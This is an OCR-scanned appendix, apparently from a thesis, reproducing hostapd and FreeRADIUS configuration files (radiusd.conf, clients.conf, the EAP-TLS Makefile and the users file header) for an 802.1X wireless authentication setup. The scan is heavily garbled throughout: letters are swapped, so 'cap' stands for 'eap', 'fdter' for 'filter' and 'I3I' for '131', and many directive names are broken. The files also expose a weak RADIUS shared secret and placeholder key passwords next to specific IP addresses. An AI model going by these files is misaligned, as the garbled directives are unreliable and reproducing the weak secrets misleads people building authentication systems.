#  that  the  files  ean  be  read  on  SIGHUP  eonfiguration  reloads. 
#aooept_mao_file=/etc/hostapd.  aeeept 
#deny_mae_file=/ete/hostapd.deny 

#  Assoeiate  as  a  station  to  another  AP  while  still  acting  as  an  AP  on 

#  the  same  ehannel. 

#assoe_ap_addr=00: 12:34:56:78:9a 


mm#  IEEE  802.  IX  (and  IEEE  802.1aa/D4)  related  eonfiguration  ################# 

#  Require  IEEE  802.  IX  authorization 
ieee8021x=l 
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#  Use  internal  minimal  EAP  Authentieation  Server  for  testing  IEEE  802.  IX. 

#  This  should  only  be  used  for  testing  since  it  authorizes  all  users 

#  that  suppot  IEEE  802.  IX  without  any  keys  or  certificates. 
minimal_eap=0 

#  Optional  displayable  message  sent  with  EAP  Request-Identity 
eap_message=hello 

#  WEP  rekeying  (disabled  if  key  lengths  are  not  set  or  are  set  to  0) 

#  Key  lengths  for  default/broadcast  and  individual/unicast  keys: 

#  5  =  40-bit  WEP  (also  known  as  64-bit  WEP  with  40  secret  bits) 

#  13  =  104-bit  WEP  (also  known  as  128-bit  WEP  with  104  secret  bits) 
wep_key_len_broadcast=5 

wep_key_len_unicast=5 

#Rekeying  period  in  seconds.  0  =  do  not  rekey  (i.e.,  set  keys  only  once) 
wep_rekey_period=3  00 

#  EAPOE-Key  index  workaround  (set  bit?)  for  WinXP  Supplicant  (needed  only  if 

#  only  broadcast  keys  are  used) 
eapol_key_index_workaround=  1 

#####  IEEE  802.1  If  -  Inter- Access  Point  Protocol  (lAPP)  ####################### 

#  Interface  to  be  used  for  lAPP  broadcast  packets 
#iapp_interface=ethO 

#####  RADIUS  configuration 

mm################################################ 

#  for  IEEE  802.  IX  with  external  Authentication  Server,  IEEE  802.1 1 

#  authentication  with  external  ACE  for  MAC  addresses,  and  accounting 

#  The  own  IP  address  of  the  access  point  (used  as  NAS-IP-Address) 
own_ip_addr=  I3I.I20.8.I45 

#  RADIUS  authentication  server 
auth_server_addr=I3I.I20.1 1.55 
auth_server_port=  1812 
auth_server_shared_secret=besiktas 

#  RADIUS  accounting  server 
#acct_server_addr=I27.0.0. 1 
#acct_server_port=  1813 

#acct  server  shared  secret=secret 
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APPENDIX  D 


A.  FREERADIUS  EAP-TLS  MODULE  MAKE  FILE 

#  Generated  automatieally  from  Makefile. in  by  eonfigure. 
TARGET  =  rlmeaptls 

SRCS  =  rlm  eap  tls.e  eap  tls.e  eb.e  tls.e  mppe_keys.c 
RLM  CFLAGS  =  $(INCLTDL)  -1../..  -DOPENSSL_NO_KRB5 
HEADERS  =  rlm_eap_tls.h  eap_tls.h  ../../eap.h  ../../rlm_eap.h 
RLMINSTALE  = 

REM  EIBS  +=  -lerypto  -Issl 

$(STATIC_OBJS):  $(HEADERS) 

$(DYNAMIC_OBJS):  $(HEADERS) 

REM_DIR=../../ 

inelude  ${RLM_DIR}../rules.mak 


B.  RADIUSD  CONFIGURATION  FILE 

## 

##  radiusd.eonf  —  EreeRADIUS  server  eonfiguration  file. 

## 

##  http://www.freeradius.org/ 

##  $Id:  radiusd.eonf  in, V  1.160  2003/10/23  15:38:24  aland  Exp  $ 

## 


prefix  =  /usr/loeal 
exec_prefix  =  $  {prefix} 
syseonfdir  =  /etc 
localstatedir  =  ${prefix}/var 
sbindir  =  ${exec_prefix}/sbin 
logdir  =  ${localstatedir}/log/radius 
raddbdir  =  ${sysconfdir}/raddb 
radacctdir=  ${logdir}/radacct 

#  Eocation  of  config  and  logfiles. 
confdir  =  $  {raddbdir} 

run_dir  =  ${localstatedir}/run/radiusd 

# 

#  The  logging  messages  for  the  server  are  appended  to  the 

#  tail  of  this  file. 
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# 

log_file  =  ${logdir}/radius.log 
# 

#  libdir:  Where  to  find  the  rim  *  modules. 

# 

#  This  should  be  automatically  set  at  configuration  time. 

# 

libdir  =  ${exec_prefix}/lib 

#  pidfile:  Where  to  place  the  PID  of  the  RADIUS  server. 

# 

#  The  server  may  be  signalled  while  it's  running  by  using  this 

#  file. 

# 

pidfde  =  ${run_dir}/radiusd.pid 


#  user/group:  The  name  (or  #number)  of  the  user/group  to  run  radiusd  as. 

# 

#  If  these  are  commented  out,  the  server  will  run  as  the  user/group 

#  that  started  it.  In  order  to  change  to  a  different  user/group,  you 

#  MUST  be  root  (  or  have  root  privleges  )  to  start  the  server. 

# 

#user  =  nobody 
#group  =  nobody 

#  max_request_time:  The  maximum  time  (in  seconds)  to  handle  a  request. 

# 

#  Requests  which  take  more  time  than  this  to  process  may  be  killed,  and 

#  a  REJECT  message  is  returned. 

# 

#  Useful  range  of  values:  5  to  120 

# 

max_request_time  =  30 

#  delete  blocked  requests:  If  the  request  takes  MORE  THAN  'max_request_time' 

#  to  be  handled,  then  maybe  the  server  should  delete  it. 

# 

deleteblockedrequests  =  no 

#  cleanup  delay:  The  time  to  wait  (in  seconds)  before  cleaning  up 

#  a  reply  which  was  sent  to  the  NAS. 

# 

cleanupdelay  =  5 
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#  max  requests:  The  maximum  number  of  requests  which  the  server  keeps 

#  track  of.  This  should  be  256  multiplied  by  the  number  of  clients. 

# 

maxrequests  =  1024 

#  bind  address:  Make  the  server  listen  on  a  particular  IP  address,  and 

#  send  replies  out  from  that  address.  This  directive  is  most  useful 

#  for  machines  with  multiple  IP  addresses  on  one  interface. 

# 

bindaddress  =  * 

#  port:  Allows  you  to  bind  FreeRADIUS  to  a  specific  port. 

# 

port  =  0 

#  hostname  lookups:  Log  the  names  of  clients  or  just  their  IP  addresses 

#  e.g.,  www.freeradius.org  (on)  or  206.47.27.232  (off). 

# 

hostnamelookups  =  no 

#  Core  dumps  are  a  bad  thing.  This  should  only  be  set  to  'yes' 

#  if  you're  debugging  a  problem  with  the  server. 

# 

#  allowed  values:  {no,  yes} 

# 

allowcoredumps  =  no 

#  Regular  expressions 

#  These  items  are  set  at  configure  time.  If  they're  set  to  "yes", 

#  then  setting  them  to  "no"  turns  off  regular  expression  support. 

# 

regular_expressions  =  yes 
extendedexpressions  =  yes 

#  Log  the  full  User-Name  attribute,  as  it  was  found  in  the  request. 

# 

#  allowed  values:  (no,  yes} 

# 

logstrippednames  =  no 

#  Log  authentication  requests  to  the  log  file. 

# 

#  allowed  values:  {no,  yes} 

# 

logauth  =  no 
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#  Log  passwords  with  the  authentication  requests. 

#  allowed  values:  {no,  yes} 

# 

logauthbadpass  =  no 
logauthgoodpass  =  no 

#  usercollide:  Turn  "username  collision"  code  on  and  off.  See  the 

#  "doc/duplicate-users"  fde 

# 

usercollide  =  no 

#  lower_user  /  lower_pass: 

#  Lower  case  the  username/password  "before"  or  "after" 

#  attempting  to  authenticate. 

# 

lower_user  =  no 
lower_pass  =  no 

#  nospace_user  /  nospace_pass: 

# 

#  Some  users  like  to  enter  spaces  in  their  username  or  password 

#  incorrectly.  To  save  yourself  the  tech  support  call,  you  can 

#  eliminate  those  spaces  here: 

# 

nospaceuser  =  no 
nospace_pass  =  no 

#  The  program  to  execute  to  do  concurrency  checks, 
checkrad  =  ${sbindir}/checkrad 

#  SECURITY  CONFIGURATION 

# 

#  There  may  be  multiple  methods  of  attacking  on  the  server.  This 

#  section  holds  the  configuration  items  which  minimize  the  impact 

#  of  those  attacks 

# 

security  { 

# 

#  max  attributes:  The  maximum  number  of  attributes 

#  permitted  in  a  RADIUS  packet.  Packets  which  have  MORE 

#  than  this  number  of  attributes  in  them  will  be  dropped. 

# 

max_attributes  =  200 

# 

#  delayed_reject:  When  sending  an  Access-Reject,  it  can  be 
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#  delayed  for  a  few  seconds.  This  may  help  slow  down  a  DoS 

#  attack.  It  also  helps  to  slow  down  people  trying  to  brute-force 

#  crack  a  users  password. 

# 

rejectdelay  =  1 

# 

#  status_server:  Whether  or  not  the  server  will  respond 

#  to  Status-Server  requests. 

# 

status_server  =  no 

} 

#  PROXY  CONFIGURATION 

# 

#  proxy  requests:  Turns  proxying  of  RADIUS  requests  on  or  off. 

# 

proxy_requests  =  yes 
$INCLUDE  ${confdir}/proxy.conf 


#  CLIENTS  CONEIGURATION 

# 

#  Client  configuration  is  defined  in  "clients. conf. 

# 

SINCLUDE  ${confdir}/clients.conf 


#  SNMP  CONEIGURATION 

# 

#  Snmp  configuration  is  only  valid  if  SNMP  support  was  enabled 

#  at  compile  time. 

# 

snmp  =  no 

$INCLUDE  ${confdir} /snmp. conf 


#  THREAD  POOL  CONEIGURATION 

# 

#  The  thread  pool  is  a  long-lived  group  of  threads  which 

#  take  turns  (round-robin)  handling  any  incoming  requests. 

# 

thread  pool  { 

#  Number  of  servers  to  start  initially  —  should  be  a  reasonable 

#  ballpark  figure, 
start  servers  =  5 
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#  Limit  on  the  total  number  of  servers  running. 

# 

#  If  this  limit  is  ever  reached,  clients  will  be  LOCKED  OUT,  so  it 

#  should  NOT  BE  SET  TOO  EOW.  It  is  intended  mainly  as  a  brake  to 

#  keep  a  runaway  server  from  taking  the  system  with  it  as  it  spirals 

#  down... 

# 

max_servers  =  32 

#  Server-pool  size  regulation.  Rather  than  making  you  guess 

#  how  many  servers  you  need,  EreeRADIUS  dynamically  adapts  to 

#  the  load  it  sees,  that  is,  it  tries  to  maintain  enough 

#  servers  to  handle  the  current  load,  plus  a  few  spare 

#  servers  to  handle  transient  load  spikes. 

# 

min_spare_servers  =  3 
maxspareservers  =10 

#  There  may  be  memory  leaks  or  resource  allocation  problems  with 

#  the  server.  If  so,  set  this  value  to  300  or  so,  so  that  the 

#  resources  will  be  cleaned  up  periodically. 

# 

max_requests_per_server  =  0 

} 

#  MODULE  CONFIGURATION 

# 

#  The  names  and  configuration  of  each  module  is  located  in  this  section. 

# 

#  After  the  modules  are  defined  here,  they  may  be  referred  to  by  name, 

#  in  other  sections  of  this  configuration  file. 

# 

modules  { 

# 

#  Each  module  has  a  configuration  as  follows: 

# 

#  name  [  instance  ]  { 

#  config_item  =  value 

# 

#  } 

# 

#  The  'name'  is  used  to  load  the  'rlm  name'  library 

#  which  implements  the  functionality  of  the  module. 

# 

#  The  'instance'  is  optional.  To  have  two  different  instances 
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#  of  a  module,  it  first  must  be  referred  to  by  'name'. 

#  The  different  eopies  of  the  module  are  then  ereated  by 

#  inventing  two  'instanee'  names,  e.g.  'instaneel'  and  'instaneel' 

# 

#  The  instanee  names  ean  then  be  used  in  later  eonfiguration 

#  INSTEAD  of  the  original  'name'.  See  the  'radutmp'  eonfiguration 

#  below  for  an  example. 

# 

#  PAP  module  to  authentieate  users  based  on  their  stored  password 

# 

pap  { 

eneryptionseheme  =  erypt 

} 

#  CHAP  module 

# 

#  To  authentieate  requests  eontaining  a  CHAP -Password  attribute. 

# 

chap  { 

authtype  =  CHAP 

} 

#  Pluggable  Authentication  Modules 

# 

pam  { 

# 

#  The  name  to  use  for  PAM  authentication, 
pamauth  =  radiusd 

} 

#  Unix  /etc/passwd  style  authentication 

# 

Unix  { 

# 

#  Cache  /etc/passwd,  /etc/shadow,  and  /etc/group 

# 

#  The  default  is  to  NOT  cache  them. 

# 

cache  =  yes 

#  Reload  the  cache  every  600  seconds  (lOmins).  0  to  disable, 
cachereload  =  600 

# 
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'^fc  '^fc 


#  Define  the  loeations  of  the  normal  passwd,  shadow,  and 

#  group  files. 

# 

passwd  =  /ete/passwd 
shadow  =  /ete/shadow 
group  =  /ete/group 

# 

#  Where  the  'wtmp'  file  is  loeated. 

#  This  should  be  moved  to  it's  own  module  soon. 

# 

radwtmp  =  ${logdir}/radwtmp 


Extensible  Authentieation  Protocol 
For  all  EAP  related  authentications 


cap  { 

#  Invoke  the  default  supported  EAP  type  when 

#  EAP-Identity  response  is  received. 

# 

defaulteaptype  =  tls 

#  Default  expiry  time  to  clean  the  EAP  list,  It  is 

#  maintained  to  correlate  the  EAP-Response  for  each 

#  EAP-request  sent, 
timerexpire  =  60 

#  There  are  many  EAP  types,  but  the  server  has  support 

#  for  only  a  limited  subset.  If  the  server  receives 

#  a  request  for  an  EAP  type  it  does  not  support,  then 

#  it  normally  rejects  the  request. 

ignoreunknowneaptypes  =  no 

##  EAP-TES  is  highly  experimental  EAP-Type  at  the  moment. 

#  Please  give  feedback  on  the  mailing  list, 
tls  { 

private_key_password  =  whatever 
private_key_file  =  /etc/lx/newradius.pem 

#  If  Private  key  &  Certificate  are  located  in 

#  the  same  file,  then  private_key_file  & 
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#  certificate  file  must  contain  the  same  file 

#  name. 

eertifieate_file  =  /etc/lx/newradius.pem 

#  Trusted  Root  CA  list 
CA_file  =  /ete/lx/root.pem 

dh_file  =  /etc/lx/DH 
random_file  =  /ete/lx/random 

# 

#  This  ean  never  exeeed  the  size  of  a  RADIUS 

#  paeket  (4096  bytes),  and  is  preferably  half 

#  that,  to  aeeomodate  other  attributes  in 

#  RADIUS  packet.  On  most  APs  the  MAX  paeket 

#  length  is  eonfigured  between  1500  -  1600 

#  In  these  eases,  fragment  size  should  be 

#  1024  or  less. 

# 

fragmentsize  =  1024 

#  inelude_length  is  a  flag  whieh  is 

#  by  default  set  to  yes  If  set  to 

#  yes.  Total  Length  of  the  message  is 

#  included  in  EVERY  paeket  we  send. 

#  If  set  to  no.  Total  Eength  of  the 

#  message  is  ineluded  ONLY  in  the 

#  Eirst  paeket  of  a  fragment  series. 

# 

ineludelength  =  yes 

#  Cheek  the  Certifieate  Revoeation  Eist 

# 

#  eheek_erl  =  yes 

} 

msehapv2  { 

} 


Mierosoft  CHAP  authentieation 

This  module  supports  MS-CHAP  and  MS-CHAPv2  authentieation. 
It  also  enforees  the  SMB-Aeeount-Ctrl  attribute. 

msehap  { 
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# 

#  As  of  0.9,  the  mschap  module  does  NOT  support 

#  reading  from  /ete/smbpasswd. 

authtype  =  MS-CHAP 


} 

#  Lightweight  Direetory  Aeeess  Protoeol  (LDAP) 

# 

Idap  { 

server  =  "Idap.your.domain" 

#  identity  =  "en=admin,o=My  Org,c=UA" 

#  password  =  mypass 
basedn  =  "o=My  Org,c=UA" 

fdter  =  "(uid=%{Stripped-User-Name:-%{User-Name}})" 

#  base_fdter  =  "(objeotolass=radiusprofde)" 

starttls  =  no 

#  default_profde  =  "on=radprofde,ou=dialup,o=My  Org,c=UA" 

#  profileattribute  =  "radiusProfileDn" 
aooess_attr  =  "dialupAeeess" 

#  Mapping  of  RADIUS  dietionary  attributes  to  LDAP 

#  direetory  attributes. 

dietionarymapping  =  ${raddbdir}/ldap.attrmap 
Idapconneetionsnumber  =  5 

#  groupmembership_attribute  =  radiusGroupName 
timeout  =  4 

timelimit  =  3 
nettimeout  =  1 

#  compare_eheek_items  =  yes 

#  aceess_attr_used_for_allow  =  yes 

} 

#  Realm  module,  for  proxying. 

# 

#  You  ean  have  multiple  instanees  of  the  realm  module  to 

#  support  multiple  realm  syntaxs  at  the  same  time.  The 

#  seareh  order  is  defined  the  order  in  the  authorize  and 

#  preacet  bloeks  after  the  module  eonfig  bloek. 

# 

realm  realmslash  { 


90 


format  =  prefix 
delimiter  =  "/" 

} 

#  'username@realm' 

# 

realm  suffix  { 

format  =  suffix 
delimiter  =  "@" 

} 

#  'username%realm' 

# 

realm  realmpereent  { 
format  =  suffix 
delimiter  =  "%" 

} 

#  Preproeess  the  ineoming  RADIUS  request,  before  handing  it  off 

#  to  other  modules. 

# 

preproeess  { 

huntgroups  =  ${eonfdir}/huntgroups 
hints  =  ${eonfdir} /hints 

#  This  hack  changes  Ascend's  wierd  port  numberings 

#  to  standard  0-???  port  numbers  so  that  the  "+"  works 

#  for  IP  address  assignments, 
withascendhack  =  no 
ascend_channels_per_line  =  23 

#  Windows  NT  machines  often  authenticate  themselves  as 

#  NT_DOMAIN\usemame 

# 

withntdomainhack  =  no 

#  Specialix  Jetstream  8500  24  port  access  server. 

# 

withspecialixjetstreamhack  =  no 

#  Cisco  sends  it's  VS  A  attributes  with  the  attribute 

#  name  *again*  in  the  string,  like: 

# 

with_cisco_vsa_hack  =  no 

} 
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#  Livingston-style  'users'  file 

# 

files  { 

usersfile  =  ${confdir} /users 
acetusersfile  =  ${confdir}/aect_users 
eompat  =  no 

} 

#  Write  a  detailed  log  of  all  aceounting  records  received. 

# 

detail  { 

#  Note  that  we  do  NOT  use  NAS-IP-Address  here,  as 

#  that  attribute  MAY  BE  from  the  originating  NAS,  and 

#  NOT  from  the  proxy  which  actually  sent  us  the 

#  request.  The  Client-IP-Address  attribute  is  ALWAYS 

#  the  address  of  the  client  which  sent  us  the 

#  request. 

# 

detailfile  =  $  {radacctdir}/%  {Client-IP-Address}/detail-%Y%m%d 

# 

#  The  Unix-style  permissions  on  the  'detail'  file. 

# 

detailperm  =  0600 

} 

#  Create  a  unique  accounting  session  Id.  Many  NASes  re-use  or 

#  repeat  values  for  Acct-Session-Id,  causing  no  end  of 

#  confusion. 

# 

acct  unique  { 

key  =  "User-Name,  Acct-Session-Id,  NAS-IP-Address,  Client-IP-Address, 

NAS-Port-Id" 

} 

#  Include  another  file  that  has  the  SQL-related  configuration. 

#  This  is  another  file  only  because  it  tends  to  be  big. 

# 

$INCLUDE  ${confdir}/sql.conf 

#  Write  a  'utmp'  style  file,  of  which  users  are  currently 

#  logged  in,  and  where  they've  logged  in  from. 

# 

radutmp  { 
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#  Where  the  file  is  stored.  It's  not  a  log  file, 

#  so  it  doesn't  need  rotating. 

# 

fdename  =  ${logdir}/radutmp 

#  The  field  in  the  packet  to  key  on  for  the 

#  'user'  name,  If  you  have  other  fields  which  you  want 

#  to  use  to  key  on  to  control  Simultaneous-Use, 

#  then  you  can  use  them  here. 

# 

username  =  %  {User-Name} 

#  Whether  or  not  we  want  to  treat  "user"  the  same 

#  as  "USER",  or  "User". 
case_sensitive  =  yes 

#  Accounting  information  may  be  lost,  so  the  user  MAY 

#  have  logged  off  of  the  NAS,  but  we  haven't  noticed. 

#  If  so,  we  can  verify  this  information  with  the  NAS, 

# 

check_with_nas  =  yes 

#  Set  the  file  permissions,  as  the  contents  of  this  file 

#  are  usually  private, 
perm  =  0600 

callerid  =  "yes" 

} 

#  "Safe"  radutmp  -  does  not  contain  caller  ID,  so  it  can  be 

#  world-readable,  and  radwho  can  work  for  normal  users,  without 

#  exposing  any  information  that  isn't  already  exposed  by  who(l). 
radutmp  sradutmp  { 

filename  =  ${logdir} /sradutmp 
perm  =  0644 
callerid  =  "no" 

} 

#  attr  filter  -  filters  the  attributes  received  in  replies  from 

#  proxied  servers,  to  make  sure  we  send  back  to  our  RADIUS  client 

#  only  allowed  attributes, 
attr  filter  { 

attrsfile  =  ${confdir}/attrs 

} 


#  counter  module: 
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#  This  module  takes  an  attribute  (count-attribute). 

#  It  also  takes  a  key,  and  creates  a  counter  for  each  unique 

#  key.  The  count  is  incremented  when  accounting  packets  are 

#  received  by  the  server.  The  value  of  the  increment  depends 

#  on  the  attribute  type. 

# 

#  The  module  should  be  added  in  the  instantiate,  authorize  and 

#  accounting  sections.  Make  sure  that  in  the  authorize 

#  section  it  comes  after  any  module  which  sets  the 

#  'check-name'  attribute. 

# 

counter  daily  { 

fdename  =  ${raddbdir}/db.  daily 
key  =  User-Name 

count-attribute  =  Acct-Session-Time 
reset  =  daily 

counter-name  =  Daily-Session-Time 
check-name  =  Max-Daily-Session 
allowed-servicetype  =  Framed-User 
cache-size  =  5000 

} 

#  The  "always"  module  is  here  for  debugging  purposes.  Each 

#  instance  simply  returns  the  same  result,  always,  without 

#  doing  anything, 
always  fail  { 

rcode  =  fail 

} 

always  reject  { 

rcode  =  reject 

} 

always  ok  { 

rcode  =  ok 
simulcount  =  0 
mpp  =  no 

} 

# 

#  The  'expression'  module  currently  has  no  configuration, 
expr  { 

} 

# 

#  The  'digest'  module  currently  has  no  configuration. 

# 

#  "Digest"  authentication  against  a  Cisco  SIP  server. 
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#  See  'doe/rfc/draft-sterman-aaa-sip-OO.txt'  for  details 

#  on  performing  digest  authentication  for  Cisco  SIP  servers. 

# 

digest  { 

} 

# 

#  Execute  external  programs 

# 

exec  { 

wait  =  yes 

input_pairs  =  request 

} 

# 

#  This  is  a  more  general  example  of  the  execute  module. 

# 

exec  echo  { 

# 

#  Wait  for  the  program  to  finish. 

# 

wait  =  yes 
# 

#  The  name  of  the  program  to  execute,  and  it's 

#  arguments.  Dynamic  translation  is  done  on  this 

#  field,  so  things  like  the  following  example  will 

#  work. 

# 

program  =  "/bin/echo  %  {User-Name}" 
input_pairs  =  request 

# 

#  Where  to  place  the  output  attributes  (if  any)  from 

#  the  executed  program.  The  values  allowed,  and  the 

#  restrictions  as  to  availability,  are  the  same  as 

#  for  the  input_pairs. 

# 

output_pairs  =  reply 


} 


# 

# 

# 


Do  server  side  ip  pool  management.  Should  be  added  in  post-auth  and 
accounting  sections. 
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ippool  main_pool  { 

#  range-start, range-stop:  The  start  and  end  ip 

#  addresses  for  the  ip  pool 
range-start  =  192.168.1.1 
range-stop  =  192.168.3.254 

#  netmask:  The  network  mask  used  for  the  ip's 
netmask  =  255.255.255.0 

#  eaehe-size:  The  gdbm  eaehe  size  for  the  db 

#  fdes. 

eaehe-size  =  800 

#  session-db:  The  main  db  fde  used  to  alloeate  ip's  to  elients 
session-db  =  ${raddbdir}/db.  ippool 

#  ip-index:  Helper  db  index  file  used  in  multilink 
ip-index  =  ${raddbdir}/db.ipindex 

#  override:  Will  this  ippool  override  a  Framed-IP -Address  already  set 
override  =  no 

} 

} 

#  Instantiation 

# 

#  This  seetion  orders  the  loading  of  the  modules.  Modules 

#  listed  here  will  get  loaded  BEFORE  the  later  seetions  like 

#  authorize,  authentieate,  ete.  get  examined. 

instantiate  { 

# 

#  The  expression  module  doesn't  do  authorization, 

#  authentieation,  or  aeeounting.  It  only  does  dynamie 

#  translation,  of  the  form: 
expr 

# 

#  We  add  the  eounter  module  here  so  that  it  registers 

#  the  eheek-name  attribute  before  any  module  whieh  sets 

#  it 

#  daily 

} 

#  Authorization.  First  preproeess  (hints  and  huntgroups  files). 


96 


authorize  { 

# 

#  The  preproeess  module  takes  care  of  sanitizing  some  bizarre 

#  attributes  in  the  request,  and  turning  them  into  attributes 

#  which  are  more  standard. 

# 

preprocess 

#  This  module  takes  care  of  EAP-MD5,  EAP-TLS,  and  EAP-EEAP 

#  authentication, 
eap 

#  Eook  for  IP  ASS  style  'realm/',  and  if  not  found,  look  for 

#  '@realm',  and  decide  whether  or  not  to  proxy,  based  on 

#  that, 
suffix 

# 

#  Read  the  'users'  file 
files 


#  Authentication. 

# 

#  This  section  lists  which  modules  are  available  for  authentication. 

#  Note  that  it  does  NOT  mean  'try  each  module  in  order'.  It  means 

#  that  you  have  to  have  a  module  from  the  'authorize'  section  add 

#  a  configuration  attribute  'Auth-Type  :=  POO'.  That  authentication  type 

#  is  then  used  to  pick  the  apropriate  module  from  the  list  below. 

authenticate  { 

# 

#  Allow  EAP  authentication, 
eap 

} 

# 

#  Pre-accounting.  Decide  which  accounting  type  to  use. 

# 

preacct  { 

preprocess 

# 

#  Eook  for  IPASS-style  'realm/',  and  if  not  found,  look  for 
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#  '@realm',  and  decide  whether  or  not  to  proxy,  based  on 

#  that. 

# 

#  Accounting  requests  are  generally  proxied  to  the  same 

#  home  server  as  authentication  requests. 

#  realmslash 
suffix 

# 

#  Read  the  'acct_users'  file 
files 

} 

# 

#  Accounting.  Log  the  accounting  data. 

# 

accounting  { 

# 

#  Ensure  that  we  have  a  semi-unique  identifier  for  every 

#  request,  and  many  NAS  boxes  are  broken, 
acctunique 

# 

#  Create  a  'detail'ed  log  of  the  packets, 
detail 

#  daily 

Unix  #  wtmp  file 

# 

#  For  Simultaneous-Use  tracking, 
radutmp 

} 

#  Session  database,  used  for  checking  Simultaneous-Use.  Either  the  radutmp 

#  or  rlm  sql  module  can  handle  this. 

#  The  rlm  sql  module  is  *much*  faster 
session  { 

radutmp 

#  sql 

} 

#  Post-Authentication 

#  Once  we  KNOW  that  the  user  has  been  authenticated,  there  are 
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#  additional  steps  we  ean  take, 
post-auth  { 

#  Get  an  address  from  the  IP  Pool. 

#  main_pool 

} 

# 

#  When  the  server  decides  to  proxy  a  request  to  a  home  server, 

#  the  proxied  request  is  first  passed  through  the  pre-proxy 

#  stage 
pre-proxy  { 

#  If  you  want  to  have  a  log  of  packets  proxied  to  a  home 

#  server,  un-comment  the  following  line,  and  the 

#  'detail  pre_proxy_log'  section,  above. 

#pre_proxy_log 

} 

# 

#  When  the  server  receives  a  reply  to  a  request  it  proxied 

#  to  a  home  server,  the  request  may  be  massaged  here,  in  the 

#  post-proxy  stage. 

# 

post-proxy  { 

#  reject  the  EAP  request. 

# 

eap 

} 

C.  CLIENTS  CONFIGURATION  FILE 

# 

#  clients. conf  -  client  configuration  directives 

# 

#  This  file  is  included  by  default.  To  disable  it,  you  will  need 

#  to  modify  the  CLIENTS  CONFIGURATION  section  of  "radiusd.conf. 

# 

mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm# 

mm################################################################### 

# 

#  Definition  of  a  RADIUS  client  (usually  a  NAS). 

# 

#  The  information  given  here  over  rides  anything  given  in  the  'clients' 

#  file,  or  in  the  'naslisf  file.  The  configuration  here  contains 

#  all  of  the  information  from  those  two  files,  and  also  allows  for  more 

#  configuration  items. 
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# 

#  The  "shortname"  can  be  used  for  logging,  and  the  "nastype", 

#  "login"  and  "password"  fields  are  mainly  used  for  checkrad  and  are 

#  optional. 

# 

# 

#  Defines  a  RADIUS  client.  The  format  is  'client  [hostname|ip-address]' 

# 

#  '127.0.0.1' is  another  name  for 'localhosf.  It  is  enabled  by  default, 

#  to  allow  testing  of  the  server  after  an  initial  installation.  If  you 

#  are  not  going  to  be  permitting  RADIUS  queries  from  localhost,  we  suggest 

#  that  you  delete,  or  comment  out,  this  entry. 

# 

##############################Orhanekledi######################## 

#client  131.120.10.153  { 

#secret  =  whatever 
#shortname  =  CLIENT  1 
#} 

client  131.120.8.145  { 
secret  =  besiktas 
shortname  =  API 
} 

#client  131.120.10.133  { 

#secret  =  wahtever 
#shortname  =  AP2 

m#m#mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm 

client  127.0.0.1  { 

# 

#  The  shared  secret  use  to  "encrypt"  and  "sign"  packets  between 

#  the  NAS  and  FreeRADIUS.  You  MUST  change  this  secret  from  the 

#  default,  otherwise  it's  not  a  secret  any  more! 

# 

#  The  secret  can  be  any  string,  up  to  32  characters  in  length. 

# 

secret  =  test 

# 

#  The  short  name  is  used  as  an  alias  for  the  fully  qualified 

#  domain  name,  or  the  IP  address. 

# 

shortname  =  localhost 
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# 

#  the  following  three  fields  are  optional,  but  may  be  used  by 

#  eheckrad.pl  for  simultaneous  use  checks 

# 

# 

#  The  nastype  tells  'checkrad.pl'  which  NAS-specific  method  to 

#  use  to  query  the  NAS  for  simultaneous  use. 

# 

#  Permitted  NAS  types  are; 

# 

#  cisco 

#  computone 

#  livingston 

#  max40xx 

#  multitech 

#  netserver 

#  pathras 

#  patton 

#  portslave 

#  tc 

#  usrhiper 

#  other  #  for  all  other  types 

# 

nastype  =  other  #  localhost  isn't  usually  a  NAS... 

# 

#  The  following  two  configurations  are  for  future  use. 

#  The  'naspasswd'  file  is  currently  used  to  store  the  NAS 

#  login  name  and  password,  which  is  used  by  checkrad.pl 

#  when  querying  the  NAS  for  simultaneous  use. 

# 

#  login  =  !root 

#  password  =  someadminpas 

} 

#client  some.host.org  { 

#  secret  =  testing  123 

#  shortname  =  localhost 

#} 

# 

#  You  can  now  specify  one  secret  for  a  network  of  clients. 

#  When  a  client  request  comes  in,  the  BEST  match  is  chosen. 

#  i.e.  The  entry  from  the  smallest  possible  network. 
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# 

#client  192.168.0.0/24  { 

#  secret  =  testing  123-1 

#  shortname  =  private-network- 1 

#} 

# 

#client  192.168.0.0/16  { 

#  secret  =  testing  123 -2 

#  shortname  =  private-network-2 

#} 


#client  10.10.10.10  { 

#  #  secret  and  password  are  mapped  through  the  "secrets"  fde. 

#  secret  =  testing  123 

#  shortname  =  livl 

#  #  the  following  three  fields  are  optional,  but  may  be  used  by 

#  #  checkrad.pl  for  simultaneous  usage  checks 

#  nastype  =  livingston 

#  login  =  !root 

#  password  =  someadminpas 

#} 

D,  USERS  CONFIGURATION  FILE 

# 

#  Please  read  the  documentation  file  ../doc/processing_users_file, 

#  or  'man  5  users'  (after  installing  the  server)  for  more  information. 

# 

#  This  file  contains  authentication  security  and  configuration 

#  information  for  each  user.  Accounting  requests  are  NOT  processed 

#  through  this  file.  Instead,  see  'acct_users',  in  this  directory. 

# 

#  The  first  field  is  the  user's  name  and  can  be  up  to 

#  253  characters  in  length.  This  is  followed  (on  the  same  line)  with 

#  the  list  of  authentication  requirements  for  that  user.  This  can 

#  include  password,  comm  server  name,  comm  server  port  number,  protocol 

#  type  (perhaps  set  by  the  "hints"  file),  and  huntgroup  name  (set  by 

#  the  "huntgroups"  file). 

# 

#  If  you  are  not  sure  why  a  particular  reply  is  being  sent  by  the 

#  server,  then  run  the  server  in  debugging  mode  (radiusd  -X),  and 

#  you  will  see  which  entries  in  this  file  are  matched. 

# 

#  When  an  authentication  request  is  received  from  the  comm  server, 

#  these  values  are  tested.  Only  the  first  match  is  used  unless  the 
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'Fall-Through"  variable  is  set  to  "Yes". 


# 

# 

#  A  speeial  user  named  "DEFAULT"  matehes  on  all  usernames. 

#  You  ean  have  several  DEFAULT  entries.  All  entries  are  proeessed 

#  in  the  order  they  appear  in  this  file.  The  first  entry  that 

#  matehes  the  login-request  will  stop  proeessing  unless  you  use 

#  the  Fall-Through  variable. 

# 

#  If  you  use  the  database  support  to  turn  this  fide  into  a  .db  or  .dbm 

#  file,  the  DEFAULT  entries  _have_  to  be  at  the  end  of  this  file  and 

#  you  ean't  have  multiple  entries  for  one  username. 

# 

#  You  don't  need  to  speeify  a  password  if  you  set  Auth-Type  +=  System 

#  on  the  list  of  authentieation  requirements.  The  RADIUS  server 

#  will  then  eheek  the  system  password  file. 

# 

